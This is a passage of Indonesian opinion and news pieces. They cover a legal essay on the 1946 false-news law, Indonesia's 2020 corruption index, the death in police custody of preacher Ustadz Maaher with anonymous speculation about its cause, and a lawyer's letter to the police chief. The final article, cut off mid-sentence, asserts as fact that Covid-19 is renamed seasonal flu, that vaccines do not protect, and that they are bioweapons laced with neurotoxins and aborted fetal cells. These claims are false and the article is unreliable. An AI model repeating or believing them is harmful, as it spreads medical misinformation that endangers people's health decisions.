justifikasi keputusan yang didasarkan padanya, tergantung pada seberapa tepat sebab timbulnya aturan itu dimengerti secara utuh oleh hakim. Cukupkah itu? Tidak. Itu masih tergantung pula pada apakah derajat keterterimaannya terlihat konsisten dan koheren atau tidak. Praktis aturan yang bersifat hipotetik harus dicari konteksnya, lalu ditimbang konsistensi dan koherensinya dalam penerapannya. Itulah jalan kecil menemukan hukum yang adil. Telusuri Konteks Lahirnya UU Hakim dalam perkara kawan-kawan ini, mau atau tidak mau, harus menemkukan secara tepat konteks teks pasal 14 dan pasal 15 UU Nomor 1 Tahun 1946 itu. Menyiarkan “berita atau pemberitaan bohong” atau “kabar yang berlebihan” bukan teks tanpa konteksnya. Konteksnya harus kongkrit, tak hipotetikal. Teks itu harus dikenali dengan sangat cermat oleh majelis hakim. Terminologi “menyiarkan berita atau pemberitahuan bohong” dalam pasal 14 ayat (1) itu, untuk semua alasan apapun, terus terang, tak memerlukan penjelasan ahli bahasa. Sama sekali tidak perlu. Tidak diperlukan juga ahli bahasa, juga ahli administrasi negara untuk membuat terang maksud norma “kabar yang tak pasti” atau “kabar yang berkelebihan” dalam pasal 15 UU 1 Tahun 1946 itu. Sekali lagi tidak. Mengapa? Tidak ada ilmu hukum yang dapat dipakai menunjuk “berita-berita yang telah tersiar oleh media resmi” sebagai berita tak pasti. Terminologi “menyiarkan berita atau pemberitahuan bohong” dalam pasal 14 ayat (1) itu, untuk semua alasan apapun, terus terang, tak memerlukan penjelasan ahli bahasa. Sama sekali tidak perlu. Tidak juga diperlukan ahli bahasa untuk membuat terang maksud norma “kabar yang tak pasti” atau “kabar yang berkelebihan” dalam pasal 15 UU 1 Tahun 1946 itu. Sekali lagi tidak. Mengapa? Tidak ada ilmu hukum yang dapat dipakai menunjuk “berita-berita yang telah tersiar oleh media resmi” sebagai berita tak pasti. Berita mengenai demonstrasi buruh, itu nyata. Dapat diverifikasi. Demonstrasi yang diberitakan itu, nayat-nyata terjadi. Itu sebabnya, untuk alasan apapun, berita yang diberitakan oleh siapapun yang merujuk berita itu, atau berita lain dari siapapun, tidak dapat dikategori sebagai “berita tak pasti, dan bohong yang disengajakan menciptakan keonaran”. Begitu Pak Hakim. Kecuali jongos kekuasaan, ilmu hukum tidak menyediakan argumen untuk siapapun menginterpretasi, apapun metode atau pendekatannya, demonstrasi sebagai keonaran. Tidak itu. Demonstrasi yang ricuh, jelas tidak sesuai dengan hukum. Onarkah ini? Tidak juga. Kericuhan itu hanya berakibat secara hukum menjadi alasan hukum demonstrasi dibubarkan. Kalau ada yang membakar, dan sejenisnya, ilmu hukum mengharuskan pelakunya dihukum. Hanya itu titik. Tidak lebih dari itu Pak Hakim. Tindakan melawan hukum pada demonstrasi itu, sama sekali tidak dapat ditunjuk ilmu hukum sebagai “keadaan hukum yang mengubah sifat demontrasi itu sebaga peristiwa hukum sah menjadi melawan hukum. Ini juga disebabkan norma “memberitakan berita yang berlebihan dan dengan sengaja membuat onar” sama sekali tidak bersifat hipotetikal. Norma “menyebarkan berita bohong, dan dengan sengaja menerbitkan keonaran” dalam pasal 14 ayat (1) UU Nomor 1 Tahun 1946, menunjuk keadaan kongkrit Indonesia setelah proklamasi kemerdekaan 17 Agustus 1945. Norma pasal 14 ayat (1) dan ayat (2) juga pasal 15 UU Nomor 1 Tahun 1946 ini bertolak dari keadaan kongkrit pada Dr. Syahganda, Jumhur dan teman-temannya. Situasi politik dan keamanan jauh dari beres dalam arti minimal sekalipun di tahun 1946 itu. Kabinet baru terbentuk tanggal 4 September 1945, organ pemerintah dan negara belum terbentuk. KNIP masih jadi badan pembantu Presiden. TNI baru belum ada. Polisia apalagi, entah dimana? TKR memang dibentuk tanggal 5 Okober 1945, tetapi organisasinya jauh dari masuk akal untuk sebuah negara yang akan berperang. Desas-desus Belanda akan masuk lagi terus menghantui masyarakat. Benar tanggal 15 September 1945 sekutu masuk. Belanda, si tukang jajah membonceng di dalamnya. Namanya NICA, di dalamya ada tentara. Politik dalam negeri tidak juga stabil. Ada ketidakpercayaan terhadap pemerintahan Bung Karno. Pemerintahannya dinilai antek jepang dan fasis. Pemerintah ini dinilai tidak menguntungkan diplomasi Indonesia. Sekutu tidak akan suka bicara dengan pemerintah. Cara untuk menghindarinya adalah mengubah sistem pemerintahan itu. KNIP yang dari awal dirancang menjadi badan yang membantu Presiden, diubah jadi badan legislatif. Karena situasi, maka fungsi itu cukup diselenggarakan oleh satu Badan Pekerja (BP). BP KNIP akhirnya dibentuk, dengan 15 personl. Sjahrir, orang yang sedari awal tidak sejalan dengan Bung Karno memimpin Badan ini. Kelak setelah melewati perbincangan politik yang perlu, sistem pemerintahan diubah. Dinyatakan dalam Maklumat X yang ditandatangani Bung Hatta. Tanggal 14 November 1945 sistem pemerintahan Presidensial dengan Bung Karno sebagai Presiden berakhir. Diganti dengan Kabinet Sjahrir I, diresmikan pada tanggal itu juga. Bung Karno tak keberatan. Tetapi Ali Sastroamidjoyo jelas menilai tindakan ini bertentangan dengan UUD 1945, apapun alasannya. NICA Belanda, beraksi keras. Begitu juga tentara sekutu. NICA malah merekrut sebagian personil KNIL, tentara lokal yang dipekerjakan sebagai tentara mereka. Sebagian lagi, yang terbanyak tentu saja, tetap bekerja untuk Indonesia yang masih muda itu. KNIL Belanda sangat ganas. (Bersambung). Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Era Jokowi, Indonesia Makin Korup: Lebih Korup Dari Etiopia & Timor Leste

by Abdurrahman Syebubakar Jakarta, FNN - Dalam laporan Indeks Persepsi Korupsi (IPK) 2020 yang baru diluncurkan Transparency International (TI), posisi Indonesia anjlok 17 peringkat, menjadi 102 dari urutan 85 pada tahun sebelumnya. Dengan skor IPK 37, Indonesia berada pada posisi yang sama dengan Gambia dan di bawah Etiopia yang bertengger di peringkat 94. Jauh tertinggal dari rerata IPK Asia Pasifik dan 180 negara yang disurvei, masing-masing dengan skor 45 dan 43. Di kawasan Asia Tenggara, Indonesia berada di posisi 5, di bawah Timor Leste, negara yang lahir dari rahim ibu pertiwi. Skor IPK Timor Leste meningkat 2 poin, dari 38 ke 40. Sementara Indonesia mengalami penurunan 3 poin, dari 40 ke 37. Penurunan langsung 3 poin dalam waktu satu tahun merupakan kinerja terburuk Indonesia dalam IPK selama dua dekade terakhir, dan menjadi tertinggi ketiga secara global, menyusul Comoros dan Suriname, masing-masing turun 4 dan 6 poin. IPK merupakan indeks agregat untuk mengukur tingkat persepsi korupsi sektor publik, berdasarkan penilaian para pakar dan survei eksekutif bisnis, dengan rentang skor antara 0 dan 100. Skor 0 berarti sangat korup, sementara 100 berarti sangat bersih dari korupsi (lihat https://www.transparency.org/en/cpi/2020/index/nzl). Anjloknya IPK Indonesia di era pemerintahan Jokowi menunjukkan penyuapan, dan pencurian dana publik oleh pejabat negara dan politikus makin merajalela. Global Corruption Barometer (GCB) Asia 2020 yang dirilis TI akhir tahun lalu mengungkap bahwa Indonesia menjadi juara ketiga suap (bribery) di kawasan Asia, dengan India dan Kamboja berada di urutan pertama dan kedua. Yang lebih tragis, Indonesia menduduki posisi puncak dalam korupsi seks (sextortion) – memanfaatkan kekuasaan dan jabatan untuk kepentingan seks. Temuan GCB Asia 2020 konsisten dengan hasil survei TI 2020 yang mengonfirmasi makin buruknya IPK Indonesia, khusunya dalam setahun terakhir di masa pandemi Covid-19. Alih alih menjaga dan mengawal bantuan penanganan dampak pandemi Covid bagi rakyat, pemerintah dan DPR justru membuka jalan korupsi besar besaran melalui UU No.2 Tahun 2020 tentang penanganan pandemi Covid-19. Dengan UU ini, pemerintah memiliki kewenangan nyaris absolut untuk mengatur kebijakan keuangan negara selama masa pandemi, dengan mengabaikan fungsi penganggaran dan pengawasan DPR. UU tersebut juga memberikan kekebalan hukum kepada aparat pemerintah. Sehingga, tidak dapat dituntut secara perdata maupun pidana jika terjadi penyelewengan yang merugikan negara. Di saat rakyat makin menderita akibat salah urus negara dan dampak negatif Covid-19, para koruptor berpesta pora menjarah uang negara. Sebut saja korupsi Bansos oleh eks Mensos Juliari Batubara, yang juga menjabat sebagai Wakil Bendahara Umum PDIP. Berdasarkan temuan BPKP, nilai bahan pokok per paket bansos hanya Rp.140-150 ribu, di luar biaya distribusi dan “goodie bag”, sebesar Rp.30 ribu, yang juga dipotong. Artinya, lebih dari 40% nilai Bansos Sembako Jabodetabek, dengan total anggaran Rp. 6,8 triliun, disunat Juliari, bekerjasama dengan sejumlah pejabat Kemensos, elit PDIP dan lingkaran utama kekuasaan. Sekitar dua minggu sebelumnya, pada akhir November 2020, eks Menteri Kelautan dan Perikanan Edhy Prabowo dari Gerindra terjaring Operasi Tangkap Tangan (OTT) KPK atas gratifikasi izin ekspor benih lobster, dibantu kader partai banteng. Dan sepanjang tahun 2020, KPK telah melakukan OTT terhadap sejumlah kepala daerah seperti Bupati Banggai Laut dan Walikota Cimahi. Keduanya kader PDIP. Sebelum Covid, menjelang Pilpres 2019, korupsi politik juga merebak dengan kerugian negara yang fantastis. Dalam kasus mega skandal Jiwasraya dan Asabri, misalnya, negara dirugikan tidak kurang dari Rp. 38 triliun. Skandal korupsi terbesar dalam sejarah Indonesia merdeka. Jauh lebih besar daripada kasus BLBI, skandal Bank Century, proyek e-KTP, dll. Memang terjadi lonjakan kasus korupsi selama beberapa tahun terakhir. Dari data rekap tindak pidana korupsi di KPK, terungkap hampir 600 kasus antara 2015 dan 2019, lebih dari dua kali lipat dibandingkan 250 kasus korupsi selama lima tahun sebelumnya (lihat https://www.kpk.go.id/id/statistik/penindakan/tpk-berdasarkan-jenis-perkara). IPK yang merosot tajam juga menggambarkan absennya kemauan politik negara dalam pemberantasan korupsi. KPK, yang menjadi “harapan” publik untuk memerangi korupsi, telah dikebiri rezim Jokowi melalui serangkaian rekayasa politik, mulai dari kriminalisasi pimpinannya pada tahun 2015 hingga revisi UU KPK yang memberangus kewenangan lembaga anti-rasuah ini. Selain itu, kasus penyiraman air keras terhadap penyidik senior KPK, Novel Baswedan, pada April 2017, hingga kini menjadi misteri. Rezim Jokowi enggan mengusut tuntas dan membuka otak di balik penyerangan sadis ini. Hanya pelaku lapangan, diduga pemeran pengganti, yang dihukum ringan. Lebih jauh, korupsi politik yang meluas dan makin buas manandakan suburnya oligarki di era Jokowi. Dengan aset nyaris tanpa batas yang mereka kuasai (di mana kekayaan empat orang super kaya setara kekayaan 100 juta rakyat biasa), para oligarki mendikte pilihan sistem dan kebijakan negara. Para oligarki tidak saja bertindak sebagai pemodal (sponsor) politik, namun sebagian menjadi pemain utama dengan memiliki parpol dan terjun dalam kontestasi elektoral. Sebagai sponsor politik, uang para oligark mengalir dengan bebas ke partai politik, dan pemilu/pilkada. Sehingga, politik transaksional dan transaksi politik makin marak dalam keseharian politik Indonesia. Ketika berkuasa, parpol dan politikus “dituntut” untuk mengembalikan modal politik dengan menyalahgunakan kekuasaan (korupsi) demi eksistensi partai, keuntungan pribadi, dan balas jasa kepada para oligarki sebagai sponsor. Tidak heran, tiap kali KPK melakukan penangkapan, selalu ada “perwakilan” parpol, terutama parpol koalisi pemerintah, yang terlibat atau menjadi otak perampokan uang rakyat. Dan hampir setiap korupsi politik (grand corruption) memiliki keterkaitan dengan episenter kekuasaan. Seturut dengan itu, kecurangan politik elektoral di pusat dan daerah, terutama politik uang, makin merajela. Coba bandingkan! Pada pemilu 2009, sekitar 11% pemilih terpapar politik uang, kemudian naik tiga kali lipat mencapai sepertiga pemilih, pada pemilu 2014 dan 2019 (lihat Muhtadi 2018, Aspinall & Berencshot 2019, Mietzner 2019). Hal ini mengantarkan Indonesia menjadi negara nomor 3 dengan tingkat politik uang paling tinggi. Menyusul Uganda dan Benin, dua negara di kawasan Afrika. Dibutuhkan Upaya Radikal Dengan realitas korupsi politik yang makin buas, dibutuhkan terobosan radikal. Melampaui rumus “Korupsi = Monopoli + Diskresi – Akuntablitas”, hasil formulasi Robert Klitgaard (1988). Selain pembenahan teknis teknokratis di hilir, seperti manajemen keuangan publik yang transparan dan akuntabel; reformasi dan peningkatan kapasitas birokrasi; pembatasan monopoli dan diskresi para pejabat, dll; harus ada kemauan politik untuk mengatasi akar persoalan di sektor hulu perpolitikan. Tanpa pembenahan sumber masalah di hulu, semua solusi teknis tidak efektif, ibarat menggarami lautan. Karena faktanya, sejak reformasi bergulir, termasuk pembentukan KPK pada 2002, korupsi tidak berkurang tapi meluas di semua lini pemerintahan dan sektor pembangunan. Dus, dibutuhkan sanksi berat seperti pembekuan atau pembubaran parpol, dengan kriteria terukur dan obyektif, dalam hal: kader parpol terjerat korupsi, uang korupsi mengalir ke parpol, parpol atau kader parpol terlibat politik uang, parpol atau kader parpol menerima uang dari para sponsor dalam jumlah tidak wajar atau melebihi ketentuan. Pada saat yang sama, pembiayaan parpol dari kas negara perlu dinaikkan dari yang berlaku saat ini (hanya Rp. 1.000 per suara untuk DPR dan Rp. 1.500 per suara untuk DPRD), sehingga operasional parpol tetap terjaga. Penyesuaian bantuan APBN/APBD untuk parpol dalam batas rasional tidak saja membantu menekan ketergantungan parpol pada dukungan pendanaan oligark. Tapi sekaligus mencegah parpol mengeksploitasi sumber daya negara dengan dalih desakan biaya hidup partai. Untuk mencegah penyalahgunaan kekuasaan & sumber daya negara saat pilpres, harus dipastikan capres/cawapres petahan menjalani cuti selama masa kampanye. Ketentuan ini juga menciptakan “level playing field” bagi semua kontestan pilpres. Saat ini, hanya calon petahana di pilkada yang diwajibkan menjalani cuti di luar tanggungan negara. Selanjutnya, sanksi diskualifikasi harus dijatuhkan kepada kontestan elektoral, baik calon eksekutif maupun legislatif di pusat dan daerah, jika terbukti menebar politik uang atau menjadi tersangka tindak pidana korupsi. Masih panjang daftar masalah dan langkah-langkah radikal yang dibutuhkan, seperti penguatan literasi politik warga dan agamawan, kebebasan dan imparsialitas pers, independensi KPK, sanksi sosial terhadap para koruptor, dlsb. Tapi saya akhiri tulisan ini dengan mengingatkan bahwa semua upaya tersebut sangat tergantung pada kemauan dan keberanian politik presiden sebagai sebagai episenter kuasaan, sekaligus “chief of staff”, dalam perang melawan korupsi dan oligarki – dua sisi dari sekeping mata uang. Tidak masuk akal mengharapkan kejahatan korupsi akan surut manakala sang “chief of staff” lahir dari rahim oligarki, dan kekuasaan politiknya bertumpu pada kekuatan modal para oligark. Memerangi korupsi dan oligarki berarti memerangi dirinya sendiri. Harakiri politik! Penulis Ketua Dewan Pengurus IDe Pegiat Demokrasi & Anti-Korupsi

Ustadz Maaher Wafat di Rutan Mabes Polri, Apa Penyakitnya?

by Mochamad Toha Surabaya, FNN - Seorang lagi ulama muda Indonesia meninggal dunia: Ustadz Maaher At-Thuwailibi. Ustadz bernama asli Soni Eranata ini meninggal di Rutan Mabes Polri, Senin malam (8/2/2021). Dia tutup usia setelah sempat menjalani perawatan di RS Polri Kramatjati, Jakarta Timur. Ustadz Maaher dirawat di RS Polri pada akhir Januari 2021 itu karena sakit. “Ustadz Maaher meninggal dunia di rutan Mabes Polri beberapa menit lalu, semoga husnul khotimah,” tutur kuasa hukum Habib Rizieq Shihab, Aziz Yanuar, pada Senin, 8 Februari 2021. Aziz mengatakan, sebelum meninggal Maaher mengalami sakit cukup parah, seperti sakit kulit hingga buang air menggunakan popok. Namun, setelah dibantarkan, Maaher dikembalikan lagi ke sel Bareskrim Mabes Polri walau kondisinya belum sembuh. Mengutip Tempo.co, Selasa (9 Februari 2021 02:27 WIB), sebelum menjadi tersangka kasus ujaran kebencian itu, pria kelahiran Medan, 28 tahun silam itu dikenal aktif menyampaikan dakwah menggunakan medsos, seperti akun Twitter, YouTube, hingga Instagram. Pria yang lahir dengan nama Soni Eranata itu mendapat julukan Maaher At-Thuwailibi dari gurunya saat menjadi santri. Semasa hidupnya, Maaher sempat berselisih dengan Permadi Arya alias Abu Janda. Keduanya sempat saling lapor ke polisi. Permadi melaporkan Maaher terkait isi ceramahnya yang dinilai sangat berpotensi menyebabkan bibit terorisme, sementara Maaher melaporkan Permadi atas dugaan pencemaran nama baik. Maaher juga sempat berseteru dengan artis Nikita Mirzani. Maheer pernah mengancam akan mengepung rumah Nikita setelah pernyataan Nikita dalam Instagram Story-nya, Rabu, 11 November 2020. “Gara-gara Habib Rizieq pulang ke Jakarta penjemputannya gila-gilaan. Nama habib itu adalah tukang obat. Screenshot, nah nanti banyak nih antek-anteknya nih, hah enggak takut gue," katanya. Cuitan Nikita tersebut mengomentari penjemputan HRS di Bandara Soekarno Hatta. Dalam ancaman yang pernah diunggah Nikita di akun Instagram lamanya, Ustadz Maaher meminta Nikita meminta maaf atas pernyataannya yang dianggap menghina HRS. Selain dua kasus itu, Ustadz Maheer juga menyentil warga Nahdliyin ketika mengomentari unggahan cuitan pengguna Twitter yang menunjukkan Habib Luthfi bin Yahya mengenakan peci ditutup semacam kafiyeh menyerupai kerudung. Cuitan Ustadz Maheer ini menjadi dasar pelaporan dengan sangkaan dugaan kebencian. Ia ditangkap penyidik Direktorat Tindak Pidana Siber Bareskrim Polri di kediamannya di Kelurahan Kedung Badak, Kecamatan Tanah Sareal, Kota Bogor, pada Kamis (3/12/2020), pukul 04.00. Ustadz Maaher langsung ditetapkan sebagai tersangka. Penangkapan tersebut bermula dari cuitannya soal tokoh Nahdlatul Ulama (NU) Kota Pekalongan, Habib Luthfi bin Yahya. “Karena di sini dipastikan postingannya: ‘Iya tambah cantik pake jilbab kayak kyai nya Banser ini ya’,” ucap Kepala Biro Penerangan Masyarakat Divisi Humas Mabes Polri Brigadir Jenderal Awi Setiyono pada 3 Desember 2020. Awi menuturkan, kata kunci dalam kasus tersebut terletak pada kata cantik dan jilbab dalam unggahan Ustadz Maaher. Menurut Brigjen Awi, kedua kata itu digunakan untuk perempuan sementara kiai adalah laki-laki. Ustadz Maaher dilaporkan oleh pihak Banser NU ke Bareskrim Polri atas cuitan tersebut. Ia ditetapkan sebagai tersangka dugaan ujaran kebencian berdasarkan SARA. Polisi mengaku sudah meminta keterangan ahli bahasa serta ahli ITE. “Kami duga terjadi penghinaan yang menjadikan delik yang kuat untuk menghasut dan menimbulkan perpecahan antargolongan dan kelompok masyarakat, inlah yang menjadi pertimbangan kepolisian,” ujar Brigjen Awi. Kasus Ustadz Maaher itu berawal dari cuitannya di Twitter akunnya @ustadzmaaher: “Iya tambah cantik pake Jilbab.. Kayak Kyai nya Banser ini ya..” Ia saat itu menjawab komentar akun @gunduladul pada 25 Agustus 2020. Akun @gunduladul telah di-suspended. “Kami duga terjadi penghinaan yang menjadikan delik yang kuat untuk menghasut dan menimbulkan perpecahan antargolongan dan kelompok masyarakat, inlah yang menjadi pertimbangan kepolisian,” lanjut Brigjen Awi. Ustadz Maaher ditangkap terkait laporan polisi bernomor LP/B/0677/XI/2020/Bareskrim pada 27 November 2020. Ia disangka melakukan tindak pidana menyebarkan informasi yang ditujukan untuk menimbulkan rasa kebencian atau permusuhan individu dan/atau kelompok masyarakat tertentu berdasarkan SARA; Sebagaimana dimaksud dalam Pasal 45 ayat (2) Jo Pasal 28 ayat (2) Undang-Undang Nomor 19 Tahun 2016 tentang Perubahan Atas Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik. Selama masa penahanannya, istri Maheer, Iqlima Ayu, sempat menyambangi Kantor Bareskrim Polri untuk mengajukan penangguhan penahanan terhadap suaminya. Dia berharap Maaher bisa dibebaskan setelah pihaknya menjaminkan dirinya sebagai upaya penangguhan penahanan kepada penyidik Bareskrim Polri. Namun, pengajuan tersebut tidak dikabulkan. Sampailah pada saat istri Ustadz Maaher itu mengungkapkan kondisi kesehatan suaminya. Iqlima memohon Ustadz Maaher bisa diperiksakan ke RS. Polisi kemudian membantarkan Ustadz Maaher ke RS Polri. Kondisi kesehatan Ustadz Maaher saat itu memang menurun. Pada 20 Januari 2021, Ustadz Maaher dibantarkan ke RS Polri. Dia dikabarkan menderita penyakit di lambung. “Benar saat ini beliau dibantarkan sejak kemarin siang di RS Polri Kramat jati untuk medical check up,” kata pengacara Ustadz Maaher, Djudju Purwantoro, Kamis (21/1/2021). Perkiraan Djudju ketika itu, Ustadz Maaher akan dirawat selama 4 hari. Perawatan Ustadz Maaher dilakukan sambil menunggu hasil observasi dokter. “Masih di RS Polri sekira 4 hari ke depan evaluasi hasil pemeriksaan/observasi dulu. Luka di lambung dalam dan mual-mual,” ujar Djudju. Seperti dilansir Detik.com, Senin (08 Feb 2021 23:25 WIB), Ustadz Maaher sempat meminta agar dirawat di RS Ummi. Tapi, pada Senin (8/2/2021), dia meninggal dunia di Rutan Mabes Polri. Ustadz Maaher meninggal pada pukul 19.00 WIB. “Betul, beliau meninggal sekira jam 7 malam di Rutan Mabes Polri,” ujar Djudju Purwantoro, saat dihubungi, Senin (8/2/2021). Ustadz Maaher meninggal dalam status tahanan Kejaksaan yang dititipkan di Rutan Bareskrim Polri. “Dapat kami sampaikan bahwa tersangka atas nama Sori Eranata meninggal dunia. Yang bersangkutan saat ini berstatus tahanan Kejaksaan yang dititipkan di Rutan Bareskrim Polri,” kata Direktur Tindak Pidana Siber Bareskrim Polri, Brigjen Slamet Uliandi. Kadiv Humas Polri Irjen Argo Yuwono mengatakan, Usadz Maaher sempat mengeluh sakit selama menjalani masa tahanan. Argo menjelaskan sebelum berkas perkara tahap 2 diserahkan ke Kejaksaan, Maaher sudah mengeluh sakit. Dokter kemudian membawa Ustadz Maaher untuk mendapat perawatan di RS Polri Kramat Jati, Jakarta Timur. “Setelah diobati dan dinyatakan sembuh yang bersangkutan dibawa lagi ke Rutan Bareskrim,” kata Argo melalui keterangan tertulis. Sayangnya, penyebab sebenarnya Ustadz Maaher meninggal tersebut belum ada konfirmasi, kecuali dari pihak Polri. Dari foto wajahnya yang beredar di WAG, kayak gabakan hitam-hitam semua, lemas, dan gatal-gatal (mirip herpes). “Kondisi Ustadz Maher sebelum meninggal, kalau penampakan begini bukan karena TB ususnya, tapi mirip “dicovidkan”. Ada temen yang kondisinya seperti ini kena Covid-19, kayak gabakan item-item semua, lemes, gatal-gatal, dsb,” ujar seorang sumber. “Dari mulutnya keluar ludah terus-menerus kemungkinan seperti sariawan yang parah, mulut ajurrr. Itu tanda-tanda penurunan kekebalan yang amat sangat. Yang paling mungkin Covid (autoimun atau HIV kayaknya bukan, karena pernah operasi usus),” lanjutnya. Kebenaran foto Ustadz Maaher yang beredar itu juga belum ada konfirmasi. Mungkinkah Ustadz Maaher terinfeksi Covid-19 sebelum meninggal dunia? Tentu perlu pemeriksaan medis lebih lanjut dengan cara diotopsi! Penulis adalah Wartawan Senior FNN.co.id

Catatan Hukum untuk Kapolri, Inikah Kebijakan Yang Adil dan Pro-Umat Islam?

Kepada Pak Kapolri, Jenderal Listyo Sigit Prabowo, penulis bertanya. Inikah kebijakan Polri yang promoter? Inikah kebijakan Polri yang pro terhadap umat Islam? Sampai kapan, para ulama dan aktivis dizalimi? by Ahmad Khozinudin SH. Jakarta, FNN - PENULIS prihatin, tetapi tidak terlalu terkejut mendengar kabar KH Ahmad Sabri Lubis (mantan Ketum DPP FPI), Ustaz Haris (mantan Bendahara DPP FPI), Habib Hanif Alatas (Menantu IB - Ketum FSI), Habib Idrus Al Habsy (mantan Ketua LDF FPI), Habib Ali Alatas (mantan Sekretaris LDF) dan Ustaz Maman Suryadi (mantan Panglima Nasional LPI), ditahan oleh Bareskrim Mabes Polri (Senin, 8/2). Prihatin, karena penahanan ini menambah deret panjang nama sejumlah ulama dan aktivis yang dikriminalisasi oleh rezim. Tidak terkejut, karena sesungguhnya tindakan ini sudah menjadi pola rezim. Semua yang kontra rezim, dianggap berseberangan dengan rezim, ditahan. Baik dengan proses pemeriksaan pendahuluan, atau langsung ditangkap dan ditahan seperti klien penulis, Gus Nur. Namun, tidak berselang lama penulis sedih dan marah. Bersedih, karena tidak lama ada kabar dari ruang tahanan Bareskrim Polri, Ustaz Maheer At-Thuwailibi meninggal dunia. Marah, karena beliau meninggal dalam status ditahan oleh Bareskrim hanya karena unggahan status Twitter. Lantas, penulis bertanya dalam hati. Apakah, Polri dengan menahan para ulama dan aktivis Islam, sudah merasa gagah ? Menunjukkan, bahwa negara tidak kalah ? Lantas, kenapa itu tidak terjadi atau tidak berlaku pada Abu Janda? Ade Armando? Deni Siregar? Apalagi, kematian Maheer At-Thuwailibi sungguh sangat tidak bisa diterima. Status almarhum masih tersangka, bukan terpidana. Beliau, memiliki hak untuk diperlakukan dengan asas praduga tidak bersalah. Semestinya, proses hukum tidak wajib dengan penahanan. Jika sudah meninggal dunia begini, apa alasan Polri ? Hanya akan mengunggah argumen 'kematian Ustaz Maheer At-Thuwailibi adalah takdir Allah SWT'? Tidak perlu diajari, jika itu yang dikemukakan, tak perlu mengunggahnya. Kami umat Islam, terbiasa ridlo dengan Qadla Allah SWT, baik maupun buruk dalam pandangan kami. Namun, yang menjadi pertanyaan kami umat Islam, perlakuan apa yang diterima Ustaz Maheer At-Thuwailibi sehingga beliau meninggal dunia di tahanan? Kalau sakit, apa penyebabnya? Apakah, Polri tidak segera mengambil tindakan preventif dan kuratif untuk menjaga kesehatan tahanan yang berada dalam kewenangan dan tanggung jawab Polri? Jika kesehatan dan keselamatan Ustaz Maheer At-Thuwailibi tidak terjaga dan bahkan meninggal dunia dalam tahanan, bagaimana dengan nasib tahanan lainnya. Bagaimana dengan nasib Gus Nur? Bagaimana dengan nasib Habib Rizieq? Bagaimana dengan nasib Syahganda Nainggolan ? Bagaimana dengan nasib Jumhur Hidayat? Bagaimana dengan nasib ustazah Kinkin? Bagaimana dengan nasib Ali Baharsyah? Bagaimana nanti keadaan KH Ahmad Sabri Lubis, Ustaz Haris, Habib Hanif Alatas, Habib Idrus Al Habsy, Habib Ali Alatas dan Ustaz Maman Suryadi, yang baru saja ditahan oleh Bareskrim Polri? Selama ini, para ulama dan aktivis dipersoalkan dengan sejumlah pasal yang sumir. Dari pasal 28 ayat (2) UU ITE, pasal makar, UU Kesehatan, hingga dianggap melakukan penghasutan dengan delik pasal 160 KUHP. Sudah banyak aktivis dan ulama yang ditangkap dan ditahan Bareskrim. Ada yang sudah disidang, adapula yang masih dalam penyidikan. Apa pun alasannya, yang jelas Maheer At-Thuwailibi meninggal dunia di tahanan Mabes Polri dalam status tersangka. Semua ada pada kewenangan dan tanggung jawab Polri. *Umat Islam perlu jawaban yang jujur, apa yang sebenarnya terjadi pada Ustadz Maheer At-Thuwailibi.* Kepada Pak Kapolri, Jenderal Listyo Sigit Prabowo, penulis bertanya. Inikah kebijakan Polri yang promoter? Inikah kebijakan Polri yang pro terhadap umat Islam? Sampai kapan, para ulama dan aktivis dizalimi? Seorang tahanan meninggal dunia, benar-benar merupakan kinerja yang tak profesional. Kebijakan penanganan kesehatan yang diberikan, tidak mencerminkan layanan yang modern. Dan kasus ini, jelas menggerus kepercayaan publik khususnya umat Islam kepada Polri. Tak perlu berdalih, kepolisian hanya menindaklanjuti laporan masyarakat. Buktinya, laporan umat Islam termasuk terhadap Abu Janda juga ditanggapi biasa saja. Semua penyematan status tersangka hingga kebijakan menahan tersangka, termasuk meninggalnya tahanan di Bareskrim Polri menjadi tanggung jawab Kapolri. Penulis berharap, agar Kapolri Listyo Sigit Prabowo terbuka dan memberikan penjelasan yang tuntas tentang semua ini. Jangan sampai, umat Islam merasa terzalimi dan didiskriminasi di era kepemimpinan Anda. ** Penulis adalah Advokat, Aktivis dan Sastrawan Politik.

Aroma Vaksin Rasa Biologis, Senjata Pembunuh Massal?

by Mochamad Toha Surabaya, FNN - Ada artikel Stephen Lendman “Bioweaponized COVID Vaccines” yang sudah diterjemahkan berjudul “Vaksin Covid yang Dipersenjatai Biologis”. Sumber artikel dari https://www.globalresearch.ca/bioweaponized-covid-vaccines/5736482. Seperti dilansir Theglobal-review.co, Minggu (7 Februari 2021), sepanjang periode pasca-Perang Dunia II, kedua sayap kanan pihak perang AS terus menggunakan senjata kimia, biologi, radiologi, dan senjata terlarang lainnya terhadap musuh yang ditemukan. Sebelumnya, perang biologis dilakukan terhadap penduduk asli AS dengan menggunakan selimut yang terinfeksi cacar. Sepanjang sejarah AS, perang kotor di dalam dan luar negeri termasuk dengan penggunaan senjata terlarang. Pemberian vaksin massal untuk menangkal flu musiman yang berganti nama menjadi Covid-19 adalah salah satu bentuk perawatan biologis pada kesehatan manusia. Saat ini pemberian vaksin-vaksin tersebut sedang dilakukan di seluruh dunia. Kampanye desepsi massal yang disponsori oleh AS/negara Barat/Media Besar tidak lain bertujuan meyakinkan orang awam agar menjadi sukarelawan sebagai kelinci percobaan untuk eksperimen manusia terbesar yang pernah ada berisiko sangat membahayakan kesehatan dan kesejahteraan semua orang yang mengikutinya. Vaksin tidak melindungi, seperti yang diklaim secara salah. Mereka adalah sapi perah besar untuk memenuhi kepentingan Farmasi Besar, alasan mereka dipromosikan dan didorong oleh Pemerintah Besar. Vaksin Covid adalah induk dari semuanya untuk membiarkan Pharma menguangkan banyak keuntungan dari sumber keuntungan jika semuanya berjalan sesuai rencana. Pertahanan Kesehatan Anak-anak (Children’s Heath Defense) menjelaskan bahwa epidemi kesehatan anak telah menjamur seiring dengan jadwal vaksinasi anak. Vaksin itu mengandung banyak bahan-bahan neurotoksik, karsinogenik, termasuk merkuri, aluminium, formaldehida, MSG, sel janin manusia yang diaborsi, dan zat lain yang berisiko membahayakan kesehatan. Suntikan flu tahunan (vaksin) yang sangat dipromosikan mengandung merkuri dan racun lain itu berhubungan dengan perkembangan gangguan saraf dan penyakit serius lainnya. Semua itu berbahaya. Saat digabungkan, maka vaksin secara eksponensial meningkatkan ancaman pada kesehatan dan kesejahteraan manusia. Kekuatan gelap AS yang bersekongkol dengan Farmasi dan agen pers media itu merugikan generasi bayi, pemuda, dan orang dewasa dalam menopang tujuan jahat mereka. Klaim dari farmasi tentang efektivitas dan keamanan 